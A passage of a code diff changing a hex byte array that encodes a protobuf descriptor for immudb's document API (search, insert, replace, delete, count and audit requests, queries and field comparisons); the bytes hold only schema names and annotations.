0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, - 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, - 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x20, - 0x92, 0x41, 0x1d, 0x0a, 0x1b, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x08, - 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0xd2, 0x01, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x22, 0x4f, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, - 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x3a, 0x14, 0x92, 0x41, 0x11, - 0x0a, 0x0f, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x04, 0x64, 0x65, 0x73, - 0x63, 0x22, 0x93, 0x01, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, - 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, - 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x1c, 0x92, 0x41, 0x19, 0x0a, 0x17, - 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x09, 0x72, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x96, 0x02, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, - 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, + 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, + 0x64, 0x73, 0x3a, 0x1f, 0x92, 0x41, 0x1c, 0x0a, 0x1a, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x06, 0x66, 0x69, 0x65, + 0x6c, 0x64, 0x73, 0x22, 0x15, 0x0a, 0x13, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x3a, 0x22, 0x92, 0x41, 0x1f, 0x0a, 0x1d, 0xd2, 0x01, 0x0e, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0xd2, 0x01, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x17, 0x49, 0x6e, 0x73, + 0x65, 0x72, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, + 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x3a, 0x23, 0x92, 0x41, + 0x20, 0x0a, 0x1e, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, + 0x73, 0x22, 0x93, 0x01, 0x0a, 0x17, 0x52, 0x65, 0x70, 0x6c, 0x61, 0x63, 0x65, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, + 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, + 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, + 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x3a, 0x18, 0x92, + 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x08, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x6d, 0x0a, 0x18, 0x52, 0x65, 0x70, 0x6c, 0x61, + 0x63, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, + 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x73, 0x3a, 0x11, 0x92, 0x41, 0x0e, 0x0a, 0x0c, 0xd2, 0x01, 0x09, 0x72, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x52, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, + 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x22, 0x19, 0x0a, 0x17, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xe2, 0x01, 0x0a, 0x16, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x29, 0x0a, 0x05, + 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, + 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, + 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, + 0x70, 0x65, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, + 0x70, 0x65, 0x6e, 0x3a, 0x35, 0x92, 0x41, 0x32, 0x0a, 0x30, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, + 0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0xd2, 0x01, 0x04, + 0x70, 0x61, 0x67, 0x65, 0xd2, 0x01, 0x08, 0x70, 0x61, 0x67, 0x65, 0x53, 0x69, 0x7a, 0x65, 0xd2, + 0x01, 0x08, 0x6b, 0x65, 0x65, 0x70, 0x4f, 0x70, 0x65, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x05, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3f, 0x0a, 0x0b, + 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x35, 0x0a, + 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x4f, 0x72, + 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, 0x75, 0x73, 0x65, 0x52, 0x07, 0x6f, 0x72, 0x64, + 0x65, 0x72, 0x42, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x3a, 0x36, 0x92, 0x41, 0x33, 0x0a, + 0x31, 0xd2, 0x01, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, + 0x6d, 0x65, 0xd2, 0x01, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, + 0xd2, 0x01, 0x07, 0x6f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0xd2, 0x01, 0x05, 0x6c, 0x69, 0x6d, + 0x69, 0x74, 0x22, 0x76, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, 0x70, 0x72, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, + 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, + 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, + 0x3a, 0x18, 0x92, 0x41, 0x15, 0x0a, 0x13, 0xd2, 0x01, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, + 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0xb5, 0x01, 0x0a, 0x0f, 0x46, + 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, + 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, + 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x20, 0x92, 0x41, 0x1d, 0x0a, 0x1b, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, + 0x01, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0xd2, 0x01, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x22, 0x4f, 0x0a, 0x0d, 0x4f, 0x72, 0x64, 0x65, 0x72, 0x42, 0x79, 0x43, 0x6c, 0x61, + 0x75, 0x73, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, + 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x3a, 0x14, 0x92, + 0x41, 0x11, 0x0a, 0x0f, 0xd2, 0x01, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0xd2, 0x01, 0x04, 0x64, + 0x65, 0x73, 0x63, 0x22, 0x93, 0x01, 0x0a, 0x17, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x09, 0x72, + 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x3a, 0x1c, 0x92, 0x41, 0x19, + 0x0a, 0x17, 0xd2, 0x01, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x64, 0xd2, 0x01, 0x09, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x96, 0x02, 0x0a, 0x12, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, + 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x33, + 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x3a, 0x2d, 0x92, 0x41, 0x2a, 0x0a, 0x28, 0xd2, 0x01, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0xd2, 0x01, 0x0a, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0xd2, 0x01, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, + 0x6f, 0x6e, 0x22, 0x3d, 0x0a, 0x10, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x65, + 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x64, + 0x3a, 0x0f, 0x92, 0x41, 0x0c, 0x0a, 0x0a, 0xd2, 0x01, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x64, 0x22, 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x05, 0x71, 0x75, + 0x65, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, + 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x71, + 0x75, 0x65, 0x72, 0x79, 0x22, 0x3d, 0x0a, 0x16, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, + 0x0a, 0x05, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x63, + 0x6f, 0x75, 0x6e, 0x74, 0x3a, 0x0d, 0x92, 0x41, 0x0a, 0x0a, 0x08, 0xd2, 0x01, 0x05, 0x63, 0x6f, + 0x75, 0x6e, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x14, 0x41, 0x75, 0x64, 0x69, 0x74, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x26, 0x0a, 0x0e, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 